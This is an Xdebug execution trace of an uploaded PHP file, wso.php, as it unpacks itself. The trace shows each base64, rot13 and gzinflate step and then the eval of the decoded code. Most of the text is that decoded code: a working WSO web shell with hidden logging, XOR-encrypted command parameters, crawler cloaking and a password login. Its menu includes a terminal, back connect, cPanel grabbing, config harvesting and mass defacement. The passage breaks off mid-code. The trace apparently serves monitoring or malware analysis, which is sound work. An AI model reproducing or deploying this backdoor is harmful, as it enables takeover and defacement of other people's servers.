Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:18:53.764056]
1	0	1	0.000136	393512
1	3	0	0.000440	494128	{main}	1		/var/www/html/uploads/wso.php	0	0
1		A						/var/www/html/uploads/wso.php	4	$â–› = ''
2	4	0	0.000470	494128	base64_decode	0		/var/www/html/uploads/wso.php	5	1	'c3RyX3JvdDEz'
2	4	1	0.000486	494200
2	4	R			'str_rot13'
1		A						/var/www/html/uploads/wso.php	5	$wz0 = 'str_rot13'
2	5	0	0.000511	494168	base64_decode	0		/var/www/html/uploads/wso.php	5	1	'Z3ppbmZsYXRl'
2	5	1	0.000524	494240
2	5	R			'gzinflate'
1		A						/var/www/html/uploads/wso.php	5	$jn1 = 'gzinflate'
2	6	0	0.000548	494208	base64_decode	0		/var/www/html/uploads/wso.php	5	1	'c3RyX3JvdDEz'
2	6	1	0.000562	494280
2	6	R			'str_rot13'
1		A						/var/www/html/uploads/wso.php	5	$nj2 = 'str_rot13'
2	7	0	0.000586	494248	base64_decode	0		/var/www/html/uploads/wso.php	5	1	'YmFzZTY0X2RlY29kZQ=='
2	7	1	0.000600	494328
2	7	R			'base64_decode'
1		A						/var/www/html/uploads/wso.php	5	$gw3 = 'base64_decode'
2	8	0	0.000624	494296	base64_decode	0		/var/www/html/uploads/wso.php	5	1	'N1Azcmt1SlZ0aWdNL3E1d3R0K0JpczdkY2U3SWpKQzRVUWFabFV3dEFnbFdJTzRnb0twQm1pQzVnNUFJRUpLNjYrODh3ckdaT1hEMjJUekR2TWc4dzJ5U1RNdmRhQU1pTXFxNmF0VSszemRNVXdWVmZ2ZG85K1Y0L2R0Lys1dHdPRittdTlucjlHRXlHVnErYTZOOStucFhrQWVETngvL0xmWVdubjhoSmFid21saSs4ODNWbDkxM2RNMTB6c2o0TW1iODNXeVowWHcybnMrK2VlZVBqN3VKY096UFdOak9aK3laNjVOZVh2MnYvL0YvUW4xWHpTYnpIZjMxLzRKZmRybmNmbXFmcGcvK24vaWc3V3U3NmRBMDJMUC9Cenp6N2Z6clNsK2tscWkweEovUzNXWDU0WXNNdjc3VU9pMmhuUDRGRzJvZVJxKy9hcWJZL2FzdmpXK3gzM2o5WjZGTnR5aHVoWnNyYXJlKyt1WE5tOVRmLysyL2ZUZWVqSE9q'
2	8	1	0.000929	592632
2	8	R			'7P3rkuJVtigM/q5wtt+Bis7dce7IjJC4UQaZlUwtAglWIO4goKpBmiC5g5AIEJK66+88wrGZOXD22TzDvMg8w2ySTMvdaAMiMqq6atU+3zdMUwVVfvdo9+V4/dt/+5twOF+mu9nr9GEyGVq+a6N9+npXkAeDNx//LfYWnn8hJabwmli+883Vl913dM10zsj4Mmb83WyZ0Xw2ns++eeePj7uJcOzPWNjOZ+yZ65NeXv2v//F/Qn1XzSbzHf31/4Jfdrncfmqfpg/+n/ig7Wu76dA02LP/Bzzz7fzrSl+klqi0xJ/S3WX54YsMv77UOi2hnP4FG2oeRq+/aqbY/asvjW+x33j9Z6FNtyhuhZsrare++uXNm9Tf/+2/fTeejHOj2W28e/2tGmJGOCLs79d/+2LY6eudP56toc4DFPspeh3MCQwByr+Bac+ewkdj2qfDpaWMXToYELSbfHSSSrFf0JJwjYzF66v57PHdPQ7stLO3KXt0WtbjUStif8vifLw0'
1		A						/var/www/html/uploads/wso.php	5	$vt4 = '7P3rkuJVtigM/q5wtt+Bis7dce7IjJC4UQaZlUwtAglWIO4goKpBmiC5g5AIEJK66+88wrGZOXD22TzDvMg8w2ySTMvdaAMiMqq6atU+3zdMUwVVfvdo9+V4/dt/+5twOF+mu9nr9GEyGVq+a6N9+npXkAeDNx//LfYWnn8hJabwmli+883Vl913dM10zsj4Mmb83WyZ0Xw2ns++eeePj7uJcOzPWNjOZ+yZ65NeXv2v//F/Qn1XzSbzHf31/4Jfdrncfmqfpg/+n/ig7Wu76dA02LP/Bzzz7fzrSl+klqi0xJ/S3WX54YsMv77UOi2hnP4FG2oeRq+/aqbY/asvjW+x33j9Z6FNtyhuhZsrare++uXNm9Tf/+2/fTeejHOj2W28e/2tGmJGOCLs79d/+2LY6eudP56toc4DFPspeh3MCQwByr+Bac+ewkdj2qfDpaWMXToYELSbfHSSSrFf0JJwjYzF66v57PHdPQ7stLO3KXt0WtbjUStif8vifLw0'
2	9	0	0.001068	592600	base64_decode	0		/var/www/html/uploads/wso.php	5	1	'7P3rkuJVtigM/q5wtt+Bis7dce7IjJC4UQaZlUwtAglWIO4goKpBmiC5g5AIEJK66+88wrGZOXD22TzDvMg8w2ySTMvdaAMiMqq6atU+3zdMUwVVfvdo9+V4/dt/+5twOF+mu9nr9GEyGVq+a6N9+npXkAeDNx//LfYWnn8hJabwmli+883Vl913dM10zsj4Mmb83WyZ0Xw2ns++eeePj7uJcOzPWNjOZ+yZ65NeXv2v//F/Qn1XzSbzHf31/4Jfdrncfmqfpg/+n/ig7Wu76dA02LP/Bzzz7fzrSl+klqi0xJ/S3WX54YsMv77UOi2hnP4FG2oeRq+/aqbY/asvjW+x33j9Z6FNtyhuhZsrare++uXNm9Tf/+2/fTeejHOj2W28e/2tGmJGOCLs79d/+2LY6eudP56toc4DFPspeh3MCQwByr+Bac+ewkdj2qfDpaWMXToYELSbfHSSSrFf0JJwjYzF66v57PHdPQ7stLO3KXt0WtbjUStif8vifLw0'
2	9	1	0.001301	666360
2	9	R			'U(\fp߁qȌQ\006L-\002\tV  A \b\020<±9p<ü<lLh\003"2j>7LS\005U~hxp8_a2\031Zk}zW\a7\037-\026!%X՗wtt2fl|6Ͼy珏pXg^^B}W&\035_v~j\017k4س\a<J_ğe\f:-\005\033j\036Fj/oxgM(n+j͛}7sm{\032bF8"b?\003\024)z\035\t\f\001ʿiϞGcڧå]:\030\020|tJ_Вp=\016촳){tZQ+b|4\024+1\024j\016J\fr\'Ƃ?``4u2j4uqu}'
2	10	0	0.002264	666328	str_rot13	0		/var/www/html/uploads/wso.php	5	1	'U(\fp߁qȌQ\006L-\002\tV  A \b\020<±9p<ü<lLh\003"2j>7LS\005U~hxp8_a2\031Zk}zW\a7\037-\026!%X՗wtt2fl|6Ͼy珏pXg^^B}W&\035_v~j\017k4س\a<J_ğe\f:-\005\033j\036Fj/oxgM(n+j͛}7sm{\032bF8"b?\003\024)z\035\t\f\001ʿiϞGcڧå]:\030\020|tJ_Вp=\016촳){tZQ+b|4\024+1\024j\016J\fr\'Ƃ?``4u2j4uqu}'
2	10	1	0.003264	723704
2	10	R			'H(\fc߁dȌD\006Y-\002\tI  N \b\020<±9c<ü<yYu\003"2w>7YF\005H~ukc8_n2\031Mx}mJ\a7\037-\026!%K՗jgg2sy|6Ͼl珏cKt^^O}J&\035_i~w\017x4س\a<W_ğr\f:-\005\033w\036Sw/bktZ(a+w͛}7fz{\032oS8"o?\003\024)m\035\t\f\001ʿvϞTpڧå]:\030\020|gW_Вc=\016촳){gMD+o|4\024+1\024w\016W\fe\'Ƃ?``4h2w4hdh}'
2	11	0	0.004272	649944	gzinflate	0		/var/www/html/uploads/wso.php	5	1	'H(\fc߁dȌD\006Y-\002\tI  N \b\020<±9c<ü<yYu\003"2w>7YF\005H~ukc8_n2\031Mx}mJ\a7\037-\026!%K՗jgg2sy|6Ͼl珏cKt^^O}J&\035_i~w\017x4س\a<W_ğr\f:-\005\033w\036Sw/bktZ(a+w͛}7fz{\032oS8"o?\003\024)m\035\t\f\001ʿvϞTpڧå]:\030\020|gW_Вc=\016촳){gMD+o|4\024+1\024w\016W\fe\'Ƃ?``4h2w4hdh}'
2	11	1	0.005712	801528
2	11	R			'\r\n@vav_frg(\'reebe_ybt\', AHYY);\r\n@vav_frg(\'ybt_reebef\', 0);\r\n@vav_frg(\'znk_rkrphgvba_gvzr\', 0);\r\n@vav_frg(\'bhgchg_ohssrevat\', 0);\r\n@vav_frg(\'qvfcynl_reebef\', 0);\r\n$▘ = gehr;\r\n$▜ = \'HGS-8\';\r\n$▚ = \'SvyrfZna\';\r\n$▙ = zq5($_FREIRE[\'UGGC_HFRE_NTRAG\']);\r\nvs (!vffrg($_PBBXVR[zq5($_FREIRE[\'UGGC_UBFG\'])."xrl"])) {\r\n\tcebgbglcr(zq5($_FREIRE[\'UGGC_UBFG\'])."xrl", $▙);\r\n}\r\n\r\nvs(rzcgl($_CBFG[\'punefrg\']))\r\n\t$_CBFG[\'punefrg\'] = $▜;\r\nvs (!vffrg($_CBFG[\'ar\''
2	12	0	0.005911	744152	str_rot13	0		/var/www/html/uploads/wso.php	5	1	'\r\n@vav_frg(\'reebe_ybt\', AHYY);\r\n@vav_frg(\'ybt_reebef\', 0);\r\n@vav_frg(\'znk_rkrphgvba_gvzr\', 0);\r\n@vav_frg(\'bhgchg_ohssrevat\', 0);\r\n@vav_frg(\'qvfcynl_reebef\', 0);\r\n$▘ = gehr;\r\n$▜ = \'HGS-8\';\r\n$▚ = \'SvyrfZna\';\r\n$▙ = zq5($_FREIRE[\'UGGC_HFRE_NTRAG\']);\r\nvs (!vffrg($_PBBXVR[zq5($_FREIRE[\'UGGC_UBFG\'])."xrl"])) {\r\n\tcebgbglcr(zq5($_FREIRE[\'UGGC_UBFG\'])."xrl", $▙);\r\n}\r\n\r\nvs(rzcgl($_CBFG[\'punefrg\']))\r\n\t$_CBFG[\'punefrg\'] = $▜;\r\nvs (!vffrg($_CBFG[\'ar\''
2	12	1	0.006170	895736
2	12	R			'\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n$▘ = true;\r\n$▜ = \'UTF-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\r\n}\r\n\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $▜;\r\nif (!isset($_POST[\'ne\''
2	13	0	0.008512	1246976	eval	1	'\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n$▘ = true;\r\n$▜ = \'UTF-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\r\n}\r\n\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $▜;\r\nif (!isset($_POST[\'ne\'])) {\r\n\tif(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n}\r\n$hex = "SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ==";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($hex)))))); \r\n\r\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@set_time_limit(0);\r\nif(version_compare(PHP_VERSION, \'5.3.0\', \'<\')){\r\n    set_magic_quotes_runtime(0);\r\n}\r\n@define(\'VERSION\', \'SHELL 2018\');\r\nif(get_magic_quotes_gpc()) {\r\n\tfunction stripslashes_array($array) {\r\n\t\treturn is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\r\n\t}\r\n\t$_POST = stripslashes_array($_POST);\r\n    $_COOKIE = stripslashes_array($_COOKIE);\r\n}\r\n/* (С) 11.2011 oRb */\r\nif(!empty($▛)) {\r\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $▛))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']), $▛);\r\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $▛))\r\n        hardLogin();\r\n}\r\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\r\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$▘;\r\nfunction hardLogin() {\r\n\t\tif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n\t\t  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  header(\'HTTP/1.0 404 Not Found\');\r\n\t\t  exit;\r\n\t\t  }\r\n\t\t}\r\n\tdie("</br></br><body bgcolor=\'#000000\'><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'>Wso Shell 2018<br><br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'>>\' style=\'border:none;background-color:#1e252e;color:#fff;cursor:pointer;\'></form></pre> </body>");\r\n}\r\nif(strtolower(substr(PHP_OS,0,3)) == "win")\r\n\t$os = \'win\';\r\nelse\r\n\t$os = \'nix\';\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(!$safe_mode)\r\n    error_reporting(0);\r\n$disable_functions = @ini_get(\'disable_functions\');\r\n$home_cwd = @getcwd();\r\nif(isset($_POST[\'c\']))\r\n\t@chdir($_POST[\'c\']);\r\n$cwd = @getcwd();\r\nif($os == \'win\') {\r\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\r\n\t$cwd = str_replace("\\\\", "/", $cwd);\r\n}\r\nif($cwd[strlen($cwd)-1] != \'/\')\r\n\t$cwd .= \'/\';\r\n\r\nfunction hardHeader() {\r\n\tif(empty($_POST[\'charset\']))\r\n\t\t$_POST[\'charset\'] = $GLOBALS[\'▜\'];\r\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title> WSO " . VERSION ."</title>\r\n<style>\r\n\tbody {background-color:#0d0d0d; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #0d0d0d; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n\ttable.info\t{color:#ffffff;}\r\n\ttable#toolsTbl {background-color: #0d0d0d;}\r\n\tspan,h1,a\t{color:#ff9900 !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #ff5e00d9;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#0d0d0d;}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\r\n\tlabel {position:relative}\r\n\tlabel:after {content:\'<>\';font:10px \'Consolas\', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #0d0d0d;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#0d0d0d;}\r\n\t.main tr:hover{background-color:#373c42;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type=\'submit\']{background-color:#ff5e00d9;}\r\n\tinput[type=\'button\']{background-color:#ff5e00d9;}\r\n\tinput[type=\'submit\']:hover{background-color:#ff5e00d9;}\r\n\tinput[type=\'button\']:hover{background-color:#ff5e00d9;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt Courier New;}\r\n</style>\r\n<script>\r\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\r\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\r\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\r\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\r\n    var d = document;\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = \'ajax=true\';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open(\'POST\', url, true);\r\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert(\'Request error!\');\r\n\t}\r\n</script>\r\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>\r\n<form method=post name=mf style=\'display:none;\'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";\r\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\r\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\r\n\t$totalSpace = $totalSpace?$totalSpace:1;\r\n\t$release = @php_uname(\'r\');\r\n\t$kernel = @php_uname(\'s\');\r\n\t$explink = \'https://www.exploit-db.com/search/?action=search&description=\';\r\n\tif(strpos(\'Linux\', $kernel) !== false)\r\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\r\n\telse\r\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\r\n\tif(!function_exists(\'posix_getegid\')) {\r\n\t\t$user = @get_current_user();\r\n\t\t$uid = @getmyuid();\r\n\t\t$gid = @getmygid();\r\n\t\t$group = "?";\r\n\t} else {\r\n\t\t$uid = @posix_getpwuid(@posix_geteuid());\r\n\t\t$gid = @posix_getgrgid(@posix_getegid());\r\n\t\t$user = $uid[\'name\'];\r\n\t\t$uid = $uid[\'uid\'];\r\n\t\t$group = $gid[\'name\'];\r\n\t\t$gid = $gid[\'gid\'];\r\n\t}\r\n\t$cwd_links = \'\';\r\n\t$path = explode("/", $GLOBALS[\'cwd\']);\r\n\t$n=count($path);\r\n\tfor($i=0; $i<$n-1; $i++) {\r\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\r\n\t\tfor($j=0; $j<=$i; $j++)\r\n\t\t\t$cwd_links .= $path[$j].\'/\';\r\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\r\n\t}\r\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\r\n\t$opt_charsets = \'\';\r\n\tforeach($charsets as $▟)\r\n\t\t$opt_charsets .= \'<option value="\'.$▟.\'" \'.($_POST[\'charset\']==$▟?\'selected\':\'\').\'>\'.$▟.\'</option>\';\r\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Mass Deface\'=>\'Sql\',\'Adminer\'=>\'Infect\',\'Terminal\'=>\'Console\',\'Mass Title Edit\'=>\'Massuser\',\'Grab Cpanel\'=>\'Php\',\'Get Configs\'=>\'SafeMode\',\'Jumping\'=>\'StringTools\',\'Cgi Telnet\'=>\'Bruteforce\',\'Back Connect\'=>\'Network\');\r\n\tif(!empty($GLOBALS[\'▛\']))\r\n\t$m[\'Logout\'] = \'Logout\';\r\n\t$m[\'Self remove\'] = \'SelfRemove\';\r\n\t$menu = \'\';\r\n\tforeach($m as $k => $v)\r\n\t\t$menu .= \'<th>[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\r\n\t$drives = "";\r\n\tif ($GLOBALS[\'os\'] == \'win\') {\r\n\t\tforeach(range(\'c\',\'z\') as $drive)\r\n\t\tif (is_dir($drive.\':\\\\\'))\r\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n\t}\r\n\t/* (С) 08.2015 dmkcv */\r\n\techo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\r\n\t\t \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="https://anon.click/protected/https://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#e6b000><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\r\n\t\t \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\r\n\t\t \'<table style="background-color:#373c42;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div><br>\';\r\n}\r\nfunction hardFooter() {\r\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#e6b000\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";\r\n    echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 